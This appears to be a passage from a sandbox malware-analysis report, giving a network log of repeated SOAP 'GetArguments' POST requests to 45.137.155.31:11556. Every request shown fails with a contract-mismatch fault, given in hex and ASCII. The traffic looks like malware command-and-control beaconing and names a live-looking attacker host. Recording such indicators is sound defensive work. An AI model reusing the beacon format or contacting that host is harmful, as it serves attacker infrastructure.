20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:37.872083902 CEST	1033	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:37.942097902 CEST	1033	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:38.016057968 CEST	1039	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:37 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:39.024693966 CEST	1048	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:39.095200062 CEST	1053	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:39.572225094 CEST	1056	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:39 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:41.002532959 CEST	1067	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:41.071475029 CEST	1067	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:41.141886950 CEST	1068	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:40 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:42.211414099 CEST	1088	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:42.282383919 CEST	1089	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:42.371978998 CEST	1091	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:42 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:43.383331060 CEST	1105	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:43.454222918 CEST	1105	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:43.525957108 CEST	1111	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:43 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:44.539746046 CEST	1127	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:44.608695984 CEST	1131	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:44.682656050 CEST	1132	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:44 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:45.696274042 CEST	1145	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:45.774158001 CEST	1147	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:45.843389034 CEST	1148	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:45 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 